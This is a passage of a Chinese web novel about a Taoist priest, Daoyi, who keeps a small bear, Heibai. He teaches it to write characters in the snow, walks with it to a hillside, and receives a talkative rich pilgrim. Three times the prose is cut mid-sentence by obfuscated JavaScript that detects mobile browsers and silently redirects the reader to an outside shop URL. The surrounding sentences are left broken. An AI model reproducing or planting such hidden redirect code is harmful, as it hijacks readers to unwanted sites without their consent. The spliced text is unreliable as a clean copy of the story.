道一从来没觉得它不会说话是什么问题。它不说,但他能看出来。它的眼睛会说话,它的耳朵会说话,它的尾巴会说话。 它把脑袋歪一下,他知道它在想。它把耳朵往后抿一下,他知道它在不好意思。它把尾巴在地上扫一下,他知道它懂了。 它把下巴搁在他脚背上,他知道它在说“我在”。 道观的香火不好,从黑白来了以后,从没见过香客来上香。前殿的门有时候开,有时候关,但从来没有人进来。 道一也不在意。他在后院扫地、做木工、制香、看书、教黑白认字。日子安静得像院子里的老树,一天一天地过,不急不慢。 黑白只见过道一一个人,它以为这个世界就是这样的——一个人,一只竹熊,一个院子,一片竹林。它不知道外面还有什么,也不想知道。这里有道一,有窝窝头,有竹窝,有窗台上那些它带回来的东西。 天越来越冷了,笋已经没有了,它就吃竹叶。嫩一点的竹叶,绿绿的,嚼起来有一股清苦的味道,没有笋好吃,但也能填饱肚子。 它在竹林里待的时间比以前短了,吃够了就回来,趴在屋檐下面的棉垫上,把下巴搁在前爪上,看着道一做事。 道一有时候在院子里做木工,有时候在屋里看书。它趴在那里,看他刨木板,看他凿榫眼,看他用砂纸把木面磨光。刨花一卷一卷地从刨子里涌出来,落在地上,它有时候会跑过去叼一片,放在道一脚边,然后跑回来继续趴着。 道一看着它缩成一团的样子,想起它刚来的时候,翻墙进来,在墙根趴半天才敢靠近。 现在它每天都来他的道观,吃他做的窝窝头,跟他学认字,每天从竹林来还要给他带东西。 一根笋,一朵花,一片叶子,一块石头。那些东西没什么用,他都收着。 窗台上挂着的干笋、陶罐里插着的枯草、书页里夹着的花瓣、枕头底下压着的红叶,都是它带给他的。 有一天,黑白从竹林回来,嘴里叼着一根竹枝。竹枝上挂着几片叶子,绿绿的,在风里轻轻晃。它跑到道一面前,把竹枝放在他脚边,仰着头看他。 道一弯腰捡起来,看了看。竹枝不粗,叶子很嫩,上面还带着一点水珠。 他把它插在墙根的陶罐里,和那些枯了的草插在一起。绿的绿,黄的黄,在风里沙沙地响。站在陶罐前面,看着那根竹枝,站了很久。 他转身进了杂物间,翻出几根竹子。竹子是夏天从后山砍的,一直堆在角落里,干透了,颜色从青绿变成了淡黄,敲上去当当响。 他把竹子劈成篾条,泡在水里浸软,然后坐在院子里,一根一根地编。 篾条在他手里很听话,该弯的弯,该直的直,编出来的纹路整整齐齐,一圈一圈的。他编了很多年,年轻的时候就学会了,后来虽然不怎么编了,但手艺还在。篾条在指间穿来穿去,沙沙沙沙的,声音不大,但很密。 黑白探出脑袋,看着他的手。那些篾条在他手里翻来翻去,慢慢地变成一个圆圆的形状,像一个大碗,但比碗深,比碗大。编到一半的时候,黑白走到他旁边,蹲下来看。 它歪着头,看那些篾条一根一根地加进去,看那个圆圆的形状一点一点地变高。它伸出爪子,轻轻地碰了碰编到一半的窝沿,篾条弹了一下,它吓得缩回去,然后又伸出来,又碰了一下。 道一没有赶它。它就蹲在旁边,看他编完最后几圈,把边沿收好,把多余的篾头剪掉。 一个圆圆的竹筐做好了。不大不小,刚好能放下黑白整个身子。道一把它拿到屋里,放在自己床边的墙角,在里面铺了厚厚的稻草,又垫了一层旧棉被。 他蹲下来,拍了拍窝里的垫子,看着黑白。 黑白站在门口,看着那个竹筐。它走过去,用鼻子闻了闻。竹子的味道,稻草的味道,还有道一手上的气味。它把前爪搭在筐沿上,往里面探了探脑袋。稻草软软的,棉被暖暖的。它跳进去,在里面转了一圈,又转了一圈,然后趴下来,把下巴搁在筐沿上,看着道一。 尾巴在筐里扫了一下,又扫了一下。 “这是你的。”道一说。 它把脑袋在他手心里蹭了蹭,然后缩回去,把整个身体蜷在竹筐里。竹筐不大不小,刚好放下它整个身子。它把鼻子埋进尾巴里,闭上眼睛。 道一站起来,吹了灯。屋里黑了,只有窗外的月光透进来一点点,照在竹筐的边沿上。 从那以后,黑白就睡在道一屋里了。 每天晚上,道一在灯下看书,它趴在竹筐里,把下巴搁在筐沿上,看着他翻书页。灯芯偶尔噼啪响一声,它的耳朵动一下,然后又不动了。 道一看完书,吹了灯,躺在床上。它从竹筐里探出脑袋,朝床的方向看一眼,它知道他在那里就很安心。 它把脑袋缩回去,闭上眼睛。 它白天还是去竹林,吃饱了就回来,有时候叼一根竹枝,有时候叼一片叶子,有时候什么都不叼,只是跑回来,趴在道一脚边,把下巴搁在他的脚背上。 有一天,它从竹林回来的时候,嘴里叼着一块石头。石头不大,圆圆的,被溪水冲得很光滑,在阳光下泛着微微的光。 它路过溪边的时候看见的,在水底下一闪一闪的。它把爪子伸进水里捞了半天才捞出来。叼着石头进门的时候,石头滑溜溜的,差点掉了。 它跑到道一面前,把石头放在石桌上。道一正在看书,抬起头,看见桌上多了一块石头。圆圆的,滑滑的,灰白色的底子上有几道深色的纹路。他拿起石头,在手里转了转。 “哪里捡的?”他问。 黑白蹲在石桌旁边,尾巴在地上扫了一下。道一把石头放在桌上,继续看书。 黑白趴在他脚边,看了一会儿,又抬起头看那块石头。石头在阳光下亮晶晶的,纹路一闪一闪的。它看了一会儿,把下巴搁在道一脚背上,闭上了眼睛。 道一看完书,把石头拿起来,走进屋里。他把它放在窗台上,和那些干了的笋、枯了的草、夹在书页里的花瓣放在一起。 那场雪是几天后来的。 黑白记得那天早上从竹筐里跳出来的时候,道一正站在窗前看着外面。 它凑过去,踮起后腿往窗外看——院子里白了,石桌白了,石凳白了,墙根的兰草也白了,只剩几片叶子尖还露在外面。雪还在下,不大,细细的,像有人从很高的地方往下撒盐。 道一低头看它,“下雪了”他说。 它知道雪。去年冬天它就见过,白白的,凉凉的,落在鼻子上一下子就化了。但那时候它还不认识道一,还不知道自己叫黑白,还不知道雪可以用爪子写字。那时候雪就是雪,冷就是冷。 它从屋里跑出去,爪子踩在雪地上,噗嗤噗嗤响。雪很软,陷进去半个爪子。它跑了几步,停下来,回头看自己的脚印——一串小小的坑,歪歪扭扭的,从门口一直通到院子中间。 它又跑了几步,又回头看。跑累了,就站在院子中间,仰着头,让雪落在脸上。 雪落在鼻子上,凉凉的,它打了个喷嚏。落在耳朵上,它甩甩头。落在背上,它抖抖毛。它在雪地里转圈,追那些飘下来的雪花,追不到,就扑在地上,爪子拍起一片雪。 道一站在屋檐下,看着它。 它跑了一阵,在院子中间停下来。雪已经积了薄薄一层,盖住了石板地的颜色。它低头看着那片白色,突然想起什么。 它抬起爪子,在雪地上划了一道。雪很软,爪子划过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑白低头看了看道一写的字,又看了看自己写的字。它写的太丑了。它伸出爪子,在雪地上又写了一遍。这一次它写得很慢,很认真,一笔一画地跟着道一的笔画走。 撇,捺。写完退后一步看——比刚才好了一点,但还是歪的。 道一没有笑它。他又写了一个“人”字,在旁边。黑白看着,又写了一个。道一写一个,它写一个。 雪地上很快就布满了大大小小的“人”字,有的工整,有的歪扭,有的深,有的浅。道一写的在最左边,一行五个,整整齐齐。 黑白写的占满了剩下的地方,横七竖八的,像一群站不稳的小熊。 黑白写累了,趴在雪地上喘气。它的爪子上沾着雪,湿湿的,凉凉的。它舔了舔爪子,舔了一嘴的凉。 道一站起来,看着它说“明天继续。” 晚上雪停了。月亮从云层后面露出半个脸,照在雪地上,照在院子里的那些字上。大大小小的“人”字铺了一地,有的被风吹散了,有的还在。 第二天,雪还没有化。黑白从竹筐里跳出来,跟着道一走到院子里。它没有先去吃窝窝头,而是走到雪地上蹲下来。 它抬起爪子,在昨天的字旁边又写了一个“人”。还是歪的,但比昨天好了一点点。道一出来的时候,手里拿着一根树枝。他走到黑白旁边,蹲下来,在雪地上写了一个字。 “一。”他念。 黑白看着那道横线,抬起爪子,在旁边写了一道。歪歪扭扭的,但方向是对的。 “丨。”道一又写了一道竖线。 黑白跟着写了一道竖线。然后道一把一横一竖拼在一起,写了一个“十”字。 黑白看着,也写了一个。它的“十”字交叉的地方不在中间,偏了。 道一没有说话,又写了一个。黑白跟着又写了一个,交叉的地方在中间了。 道一看了它一眼,他没有说话,但他嘴角笑了。 从那天起,道一每天都会教它写字。用树枝在雪地上写,雪化了就土灰上写。 每天只教几个字,教得很慢。黑白学得也慢,但它不急,道一也不急。 道一写一个,它跟着写一个。写对了,道一不说话,只是继续写下一个。写错了,道一也不骂它,只是把正确的再写一遍,让它看。 黑白有时候会不耐烦。写了几遍写不好,它就把爪子收回来,趴在地上,把下巴搁在前爪上,不想写了。 道一也不催它,就坐在旁边,等它自己趴一会儿。 趴够了,黑白会自己站起来,把爪子伸出来,再试一次。道一就继续教。 有一天,黑白在雪地上写完字,抬起头,看见道一站在屋檐下,手里端着一杯热茶,看着它。他的眼睛里有雪,有院子,有那只趴在雪地上的竹熊,还有别的什么——说不上来的,暖暖的,像茶碗里冒出来的热气。 黑白低下头,又写了一个字。这次写得很好,撇捺都正,两笔搭在一起,稳稳当当的。 它退后两步,看了看,然后抬起头,看着道一。道一走过来,蹲在它旁边,看了看那个字,伸出手,摸了摸它的头。 “好。”他说。 8. 第八章:听道 这个冬天,雪下了好几场。 院子里的雪积了又化,化了又积,石桌石凳上永远盖着一层白。 黑白每天在雪地上写字。道一教过它的字,它都记得。从最开始的“人”“大”“天”“山”,到后来的“竹”“林”“雪”“月”。它已经会写很多字了。 每天早上起来,它做的第一件事不是吃窝窝头,而是跑到院子里,把昨天学的字在雪地上写一遍。写 完旧的,再练新的。 道一有时候会站在屋檐下看着,有时候会走过来,用树枝在它写错的字旁边写一个对的,它就看一眼,然后把错的划掉,重新写一个。 它写的字越来越好了。最开始那些字歪歪扭扭的,像站不稳的小熊。现在虽然还是比不上道一写的工整,但至少横平竖直,撇捺分明。 它不光会写字,还会写词了。道一教过它“竹林”“雪地”“月光”“炉火”。 它最喜欢写“竹林”,这两个字它练得最熟,写出来最好看。它也喜欢写“道一”——道字很复杂,走之底它练了很多遍才写好,一字最简单,一横就够了。 两个字写在一起,复杂的和简单的挨着,它觉得很好看。写完了就蹲在旁边看一会儿,然后把下巴搁在雪地上,等着道一出来。 这天午后,雪停了。太阳从云层后面露出半个脸,照在雪地上,亮得晃眼。 道一站在屋檐下,看着远处的山。山被雪盖住了,白茫茫的,和天连在一起。 黑白写完今天的字——它在雪地上写了一行“天地有大美而不言”,这是道一前几天教它的句子,它练了好几天,今天终于写整齐了——然后跑到屋檐下,趴在棉垫上,顺着道一的目光看过去。 它什么也没看见,只有白茫茫的一片。 “黑白。”道一叫了一声。 它抬起头,耳朵竖起来。 “陪我去前面走走。”他说。 黑白从棉垫上跳起来,跟在他脚边。道一推开前殿的门,走了出去。黑白跟在后面,爪子踩在雪地上,噗嗤噗嗤响。 它很少来前殿,平时都在后院,前殿的门有时候开着,有时候关着,但它从来没见过有人进来。 道一没有停留,穿过前殿,推开了道观的大门。 黑白站在门槛里面,往外看。它从来没有出过这道门。从它来到这片竹林,它的世界就是后院、竹林,它是一只知足的小熊。 它把一只爪子伸出去,踩在门槛外面的石阶上,跟着道一走了出去。 门外是一条小路,石头铺的,被雪盖住了,只露出一点青灰色的边。路的两边是枯了的灌木和光秃秃的树,再远一点就是那片它每天去的竹林。 黑白站在小路上,东看看西看看,鼻子一抽一抽的。空气里有雪的味道,有竹子的味道,还有它闻不出来的、更远的地方飘来的味道。 它往前跑了几步,又跑回来,在道一脚边转了一圈,然后又往前跑。 道一慢慢往前走,黑白就在前面跑,跑远了就停下来等他,等他走近了又往前跑。它的小尾巴翘得高高的,四条小腿倒腾得飞快,圆滚滚的身子一颠一颠的,在雪地上留下一串歪歪扭扭的小脚印。 小路拐了一个弯,眼前出现了一片空地。空地的边上有一棵老树,比后院那棵还大,树冠伸开来像一把大伞。树下有一块大石头,被雪盖着,只露出圆圆的顶。 黑白跑过去,在石头旁边转了一圈,然后用爪子扒了扒石头上的雪,扒了几下,回头看着道一。道一走过去,把石头上的雪拂掉,坐了下来。石头凉,他也不在意。 黑白跳上石头,在他旁边趴下来,把下巴搁在前爪上,看着远处的竹林。 雪后的山很安静。没有风,没有鸟叫,只有雪从树枝上落下来的声音,扑簌,扑簌,偶尔一声。远处的山峦一层一层的,近的深,远的浅,最远的已经和天分不清了。 竹林在山下面,黑压压的一片,竹叶上顶着雪,绿和白交错在一起。 道一坐在石头上,看着远处的山,过了很久,道一开口了。“道可道,非常道。”他念了一句,声音很轻,像是在跟自己说话。 黑白抬起头,看着他。这句话它听过,道一念过很多遍。每次念的时候,他的声音都会变得和平时不一样,像是在说什么很重要的事。 它知道这几个字怎么写——“道”字它练了很久,“可”字简单,“非”字也简单,“常”字和“道”一样难。它都在雪地上写过,一笔一画,都记得。 “这句话,我念了一辈子。”他看着远处说道。“念了一辈子,想了一辈子,还是说不清楚它到底是什么。” 黑白歪了一下脑袋。它不明白,有什么东西是说不清楚的?它知道雪是凉的,窝窝头是香的,道一的手是暖的。这些都能说清楚。为什么那个字说不清楚? 道一低头看着它问,“你知道什么是‘道’吗?” 黑白想了想。它知道道一念这个字的时候,声音会变轻。它知道这个字写出来很复杂,走之底里面一个“首”,它练了很多遍才写好。 它盯着道一的脸看了一会儿,然后转过头,看着远处的山,看着山下面的竹林,看着从竹林里延伸出来的那条小路。 它看了一会儿,从石头上跳下去。雪有点深,它陷进去半个爪子。它走到小路旁边,在雪地上站了一会儿,然后抬起胖乎乎的爪子,在雪地上划拉。 它写了一个“路”字。路字它写过很多遍,写得稳稳当当的。“路”写好了,它退后一步,看了看,又在旁边写了一个“走”字。走字简单,横竖撇捺,它写得很快。 写完了,它跑到道一面前,蹲在雪地里,仰着头看他。 道一看着雪地上那两个字。他问,“路?”“走?” 黑白把脑袋歪了一下,它不知道他说的“道”是不是“路”,但它知道路是要走的。它每天走那条路,知道哪里的雪厚,哪里的雪薄,哪里踩下去会滑,哪里踩下去会陷进去。 它知道路的那一头是竹林,竹子的叶子在风里沙沙响;路的这一头是他,是他的屋檐,是它的竹筐,是窗台上那些它带回来的东西。 它站起来,走到那两个字旁边,在“路”和“走”的后面又写了一个“知”。“知”字它学得不久,但写得很认真。 道一伸出手,摸了摸“知”字旁边的一个爪印——那是它写完字以后踩上去的,五个指头清清楚楚。 风从竹林那边吹过来,带着竹叶的清香。老树上的雪扑簌扑簌落下来,落在他的肩上,落在它的背上。它抖了抖毛,雪簌簌地掉下来。 道一伸出手,把它背上的雪拂掉。 它的毛是暖的,底下的皮肉是暖的,和他指尖的凉不一样。 “走了,回去吧。”他说。 黑白站起来,抖了抖毛,跟在他脚边往回走。走了一段,它又跑起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446823|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在前面跑远了就停下来等他,等他走近了又往前跑。 跑到道观门口的时候,它没有进去,而是站在门槛上,回头看了他一眼。然后它转身,沿着那条小路,跑向竹林的方向。 道一站在门口,看着它跑远。它跑得很快,四条小腿倒腾得飞快,圆滚滚的身子一颠一颠的。 跑到小路拐弯的地方,它停下来,回头看了他一眼,然后消失在竹林后面。道一没有进去,就站在门口等着。过了一会儿,黑白从竹林里跑出来了。 嘴里叼着一根竹枝,竹枝上挂着几片叶子,绿绿的,在风里轻轻晃。它跑回来,跑到他面前,把竹枝放在他脚边,仰着头看他。鼻子上沾着雪,嘴巴上沾着竹叶的汁水,眼睛亮亮的。 道一弯腰捡起竹枝,看了看。竹枝不粗,上面还带着一点水珠。他把它拿在手里,转身进了道观。黑白跟在后面,爪子踩在石阶上,嗒嗒嗒的,和它的心跳一样快。 回到后院,道一没有进屋,而是走到墙根的陶罐前面,把那根竹枝插了进去。陶罐里已经有几根枯了的草和干了的竹枝,新插进去的这根绿绿的。 黑白蹲在陶罐前面,仰着头看了一会儿。然后它跑到院子里,它写了一个“家”。看了看,有补上“路”“走”“知”“家”。 写完了,它跑到屋檐下面,在棉垫上趴下来,把下巴搁在前爪上,看着道一。道一蹲下来伸出手,摸了摸它的头。手指从耳朵后面滑到脖子,轻轻的,慢慢的。它的后腿蹬了一下,舒服地享受着道一的抚摸。 “嗯,”他说,“知道了。” 那天晚上,道一没有念书。他坐在桌案前,手里拿着那本翻得发黄的书,但没有翻开,只是放在膝盖上。黑白趴在竹筐里,把下巴搁在筐沿上,看着他。 陶罐里的竹枝影子落在墙上,和干了的草影子叠在一起,像一幅画。 “黑白。”道一叫了一声。它抬起头,依赖地望着道一,道一看着它的脸,心都软了。 “快睡吧”他温声说道。 他站起来,走到窗前,把窗户关好。黑白在竹筐里动了动,把鼻子从尾巴里探出来,闻了闻,又把鼻子缩回去了,闭上眼睛慢慢入睡了。 “路,走,知,家”,想着白天的场景,道一轻轻念了一遍。转身走到竹筐旁边,蹲下来。黑白已经睡着了,肚子一起一伏的,呼噜声细细的。 他看了一会儿,站起来,吹了灯。 第二天早上,黑白从竹筐里跳出来的时候,道一已经起来了。它跑到院子里,先完成写字的功课,然后跑进厨房里,跳上木凳,把脑袋伸进碟子里。 窝窝头还是三块,它吃两块,留一块。吃完以后,它没有马上去竹林,而是跑回道一身边,在他脚边转了一圈,然后才跑出道观,跑向竹林。 道一站在屋檐下,看着它跑远的背影,看了一会儿,拿起扫帚,开始扫地。黑白写的字,他舍不得扫掉,便绕过一边去。 黑白从竹林吃饱回来的时候,叼着一根竹枝,跑进院子,看见道一在扫地,那些字还在。 它把竹枝放在陶罐旁边,跑到院子里,在那个“家”字旁边又写了一个。这次写得好多了,宝盖头平平的,豕字稳稳当当的,站得直直的。写完了,它跑到道一面前,仰着头看他。 道一低头看它,又看了看那个字。 “好。”他说。 黑白听到夸奖后,短尾巴开心地乱动。 9. 第九章:香客上门 那个冬天过完以后,春天来得特别慢。雪化了又下,下了又化,院子里的石板地湿漉漉的,踩上去爪子打滑。 黑白还是每天在院子里写字,只是雪没了,就用爪子蘸着水在石板上写。水写的字干得快,写完一会儿就没了,它也不在意,写完了就跑去看道一做木工,或者趴在屋檐下看天上的云。 这一日,日头正好,道一正在后院整理晾晒的草药,黑白趴在他脚边,肚皮朝天,四仰八叉地晒太阳,一只爪子搭在道一的鞋面上,睡得呼呼的。熊的肚皮随着呼吸一起一伏,白色的毛在阳光下泛着柔和的光。 忽然,前院传来一阵嘈杂。一连串的声音,夹杂着脚步声、喘息声、还有某个人絮絮叨叨的抱怨声,像是一群鸭子被赶进了院子里。 道一一愣。这地方偏僻得很,平日里连樵夫都少来,怎会一下子来这么多人? 黑白也醒了,耳朵竖起来,乌溜溜的眼睛转向声音传来的方向,整只熊从地上翻起来,歪着脑袋,满脸好奇。它用爪子揉了揉眼睛,打了个哈欠,露出粉红色的舌头和洁白的牙齿。 普通熊猫拥有一口洁白的牙齿不容易,但是黑白有道一。道一会定期检查和清理黑白的牙齿,当然还有毛发等。道一很关心自己,黑白幸福地眯了眯眼。 “有人来了。”道一放下草药,拍了拍衣袍上的尘土,起身往前院走。他将袖口拢了拢,又整了整衣襟——他虽然不讲究排场,但来者是客,总不好太过随意。 黑白立刻跟上,四条小短腿倒腾得飞快,跟在道一脚边,像一团滚动的黑影。它跑得太急,前爪绊了一下,在地上打了个滚,又立刻爬起来,若无其事地继续跟着。 前院里,一个圆滚滚的身影正站在院中,东张西望。 此人约莫四十来岁,穿一身绸缎长衫,料子上好,却被他的身量撑得紧绷绷的,像是勉强裹住了一团发好的面团。他面皮白净,下巴叠了两三层,一张嘴倒是不停地动着,从跨进道观大门的那一刻就没合上过。 他身后跟着两个家仆,一个提着食盒,一个背着包袱,两人都是一副气喘吁吁的模样,显然爬这半座山费了不少力气。 “哎呀,这地方可真是难找啊,我绕了三个山头,问了五个樵夫,都说没听说过这里有座道观,我还以为是那些乡下人见识少呢,结果我自己也找了大半天——哟,这道观倒是不大,不过收拾得还挺干净,比山下那个破庙强多了,那个破庙我去过一次,屋顶都漏了,下雨天里头比外头还湿……” 他一边说一边往里走,眼睛四处打量着,忽然顿住了。 因为他看见了道一身后的黑白。 “哎呀呀呀!” 赵员外惊叫一声,脚下踉跄了两步,脸上的肉都抖了抖。他身后的两个家仆也吓了一跳,提食盒的那个差点把食盒甩出去,背包袱的那个直接躲到了赵员外身后。 “老、老爷!有熊!”家仆的声音都在发抖。 赵员外定了定神,发现那是一只毛茸茸的小熊。道一养了黑白很久,黑白还是才来的大小。道一问过黑白,可是黑白哪里说得清楚,它自己都忘记自己吃过神奇小果子了。 此时的黑白正歪着脑袋看赵员外,半点凶相没有,反而是一副“你们是谁呀”的好奇表情。 “住嘴!”赵员外回头呵斥了家仆一声,挺了挺肚子,强作镇定,“一只小熊崽子就把你们吓成这样,传出去我赵家的脸往哪儿搁?都给我站直了!” 两个家仆连忙站直,但腿肚子还在打颤。 赵员外转过头来,上下打量了一番黑白,又看了看道一,清了清嗓子:“咳咳,那个……道长,你们道观还养熊的啊?” 道一微微颔首,双手拢在袖中,不紧不慢地道:“山中捡的,养了快一年了。施主不必害怕,它不伤人。” “害怕?我赵某人什么时候怕过?”赵员外把胸脯拍得砰砰响,“区区一只小熊,我——哎哎哎,你别过来!” 黑白已经从他身后探出半个身子,鼻子使劲地嗅着空气中的气味。它对这三个新来的人充满了好奇,尤其是他们手里的东西——那个食盒里传出来的气味实在是太丰富了,有糕点的甜香,有卤肉的咸香,还有炒果子的焦香,黑白闻得鼻子都要忙不过来了。 这几个人闻起来也很复杂——有汗味,有绸缎的味道,有路上吃的干粮的味道,还有赵员外身上浓重的熏香味。黑白使劲吸了吸鼻子,眼睛亮了起来,尾巴尖在身后轻轻晃着。 “福生无量天尊,福生无量天尊……”赵员外双手合十念了好几遍。 赵员外跟自己絮叨着,一边絮叨一边往后退了半步,“我今天是来上香的,对,上香。道长,你们这观里供的是什么神仙啊?有没有灵验的?我跟你说,我最近做了一桩生意,心里头不踏实,总想着来拜拜……” 他一边说一边从袖子里掏出帕子擦汗,那帕子也是上好的丝绸,被他攥在手里,三下两下就揉成了一团。他的目光始终没有离开黑白,黑白走到哪儿,他就看到哪儿,嘴上滔滔不绝,脚下却悄悄地挪动着位置。 两个家仆更是如临大敌,紧紧地跟在赵员外身后,三个人在院子里挪来挪去,像一串被串在一起的汤圆。 道一将这些看在眼里,没有多说什么,只是抬手做了一个请的姿势:“施主请先进殿上香。殿内供的是三清祖师,灵验与否,看各人诚心。” “好好好,上香上香。”赵员外连连点头,迈步往正殿走,走了两步又停下来,回头看了黑白一眼——黑白正蹲坐在原地,仰着脑袋看他,两只前爪规规矩矩地并在一起,像一只乖巧的狸猫。 赵员外忍不住多看了两眼,嘀咕道:“这熊倒是生得好看,黑白分明的,跟画上画的一样……” 他带着两个家仆走进正殿,在蒲团上跪下来。两个家仆一个给他递香,一个给他扇扇子,伺候得妥妥帖帖。 赵员外从香案上取了香,点燃,插进香炉里,拜了三拜,嘴里念念有词,说的无非是生意兴隆、家宅平安、子孙满堂之类的话。他拜得很认真,每拜一下都要停顿片刻,像是在跟神仙认真商量事情。 道一站在殿门外,没有进去打扰。黑白也蹲坐在他脚边,安安静静地等着,只是鼻子一直朝着正殿的方向嗅个不停——食盒被家仆提进去了,那股香味也飘进去了。 上完香,赵员外从殿内走出来,整个人放松了不少。他在院中的石凳上坐下,冲家仆一招手:“把吃的拿来,爬山爬得我饿死了。” 两个家仆连忙把食盒打开,一样一样地往外摆。食盒分了好几层,第一层是糕点——桂花糕、绿豆糕、杏仁酥、芙蓉酥,摆了满满一碟。第二层是卤味——酱牛肉、卤鸡腿、卤猪耳、卤豆干,切得整整齐齐。第三层是水果——橘子、柿子、枣子,还有一小碟蜜饯。最后还拿出一小坛酒,两个家仆一个倒酒一个扇扇子,忙得不亦乐乎。 赵员外招呼道一一起吃,道一婉拒后多次,他也不再相劝。自己先抓起一个鸡腿,大口大口地啃了起来,啃得满嘴流油,腮帮子鼓得老高。他又掰了一个橘子塞进嘴里,汁水顺着嘴角往下淌,他用袖子一抹,继续啃鸡腿。 黑白蹲坐在他面前,眼睛一眨不眨地看着他吃东西。 那个鸡腿看起来很好吃。黑白心想。油亮亮的,香喷喷的,跟道一平时煮的粥完全不一样。还有那些糕点,甜甜的气味一阵一阵地飘过来,黑白的鼻子一动一动的,使劲地嗅着。 赵员外注意到了黑白的目光,眼珠一转,嘴角翘了起来。他从碟子里拿起一块桂花糕,在手里抛了抛,故意发出“噗噗”的声音。 “想吃啊?”他笑眯眯地问,腮帮子上的肉都挤到了一起。黑白歪了歪脑袋,目光紧紧跟随着那块上下翻飞的糕点。 赵员外把桂花糕放在石桌上,然后用双手捂住,冲黑白挤了挤眼睛:“猜猜在哪只手里?猜对了就给你。” 黑白看着他的两只手,一动不动。赵员外把双手背到身后,捣鼓了一阵,又伸出来,两只手都握成拳头,伸到黑白面前:“来,选一个。” 黑白凑上前,鼻子在他的左拳上嗅了嗅,又在他的右拳上嗅了嗅。赵员外屏住呼吸,一脸期待地看着它。 黑白犹豫了一下,伸出爪子,在赵员外的左手上拍了一下。赵员外“哈”地笑了一声,张开左手——里面空空如也。 “不在这一只!”他得意洋洋,张开右手,桂花糕果然在那只手里,“猜错啦!” 两个家仆也跟着笑了起来。 只有道一站在旁边心底暗自发笑,他是知道这小熊的鼻子有多灵的,故意猜错,无非就是嫌弃赵员外的手。这小熊精,逗着别人玩呢。 但是道一只是坐在旁边端着茶杯,并不出声。 黑白看了看赵员外手里的糕点,又看了看他得意的笑脸,表情没有任何变化。它只是安静地蹲坐着,既没有懊恼,也没有失望,好像在说:哦,不在就不在吧。 赵员外觉得有趣,又把糕点藏到身后,捣鼓了一阵,重新伸出两只拳头:“再来再来,这回猜中了就给你。” 黑白这回没有用鼻子嗅,而是直接伸出爪子,在他左手上拍了一下。赵员外张开左手——空的。 “又错啦!”他哈哈大笑,把右手里的糕点高高抛起,又接住,“小家伙,你运气不太好啊!要不要再试一次?” 黑白看着他,忽然站了起来,走到他身边,绕着他转了一圈。赵员外以为它是要找糕点,笑着把双手都摊开给它看:“没了没了,就那一块,你不猜对就不给——” 话还没说完,黑白已经绕到了他身后,鼻子拱了拱石凳上放着的食盒。 赵员外一愣。黑白用爪子扒开食盒的盖子,把脑袋探进去,在里面拱了拱,然后叼出一个东西来——一块桂花糕。 赵员外的笑容凝固在脸上。 黑白叼着桂花糕,慢悠悠地走回原来的位置,把糕点放在地上,用爪子按住,然后抬起头,安安静静地看着赵员外。 那小眼神像是在说:你藏来藏去,不就这么点东西吗?盒子里还有一碟呢。 赵员外张了张嘴,一时之间竟不知道该说什么。他看了看黑白爪下的糕点,又看了看自己摊开的双手,又看了看食盒里那一整碟桂花糕——他忽然觉得,自己刚才那些小把戏,在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446824|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只熊面前,简直像是在耍猴。 不对,是他被熊耍了。 “你……你怎么知道盒子里还有?”他问。 黑白当然不会回答他。它低下头,开始吃那块桂花糕,腮帮子鼓鼓的,眼睛眯成了一条缝,尾巴尖在身后轻轻晃着。 它吃得很认真,一口一口地,每一口都嚼得仔仔细细,吃完了还用舌头舔了舔嘴巴,把嘴角的碎屑都舔干净。 赵员外盯着它看了好一会儿,忽然一拍大腿,笑了起来:“好你个小子,我藏了半天,你直接去掏老窝了!” “道长,”赵员外转过头,看向旁边默不作声的道一,“您这熊……是不是成精了?” 道一嘴角微微弯了弯,替黑白遮掩道:“它只是只熊。只是鼻子灵些,记性也好些。” “鼻子灵?记性好?”赵员外半信半疑道,那咋会猜不到糕点在哪里。嘶!被这头熊耍了。 道一看了黑白一眼。黑白已经把爪子舔干净了,正在用爪子洗脸,两只前爪在脸上抹来抹去的,把脸揉得变了形,看起来特别可人。 赵员外笑了,从食盒里又拿出两块桂花糕、一只卤鸡腿、一个橘子、几块杏仁酥,一股脑儿地摆在黑白面前。 “吃!都给你!”他大手一挥,豪气冲天,“就冲你刚才那一下子,我服了!” 黑白看着面前突然多出来的一堆吃食,没有立刻动嘴。它抬头看了看赵员外,又看了看道一。 道一微微点了点头。黑白这才低下头,先叼起那只卤鸡腿,咔嚓咔嚓地啃了起来。它啃鸡腿的样子很认真,两只前爪抱着鸡腿,一口一口地咬,啃得满嘴油光,鼻子上沾了一小块卤汁,黑鼻头变成了亮晶晶的棕色。 赵员外蹲在旁边——蹲下来的动作颇有些吃力,膝盖发出“咔”的一声响,两个家仆连忙要来扶,被他一把推开——他双手托腮,看得津津有味。 他越看越觉得这只熊有意思——它吃东西不急不躁,每一样都细细地嚼,细细地品,像是在认真地品尝每一种味道。它不像狗那样狼吞虎咽,也不像猫那样挑挑拣拣,它就是……安安静静地吃,认认真真地吃。 “道长,”赵员外头也不回地问,“您这熊平时都吃什么?” “粥。偶尔有野菜,拌在粥里。”道一答。 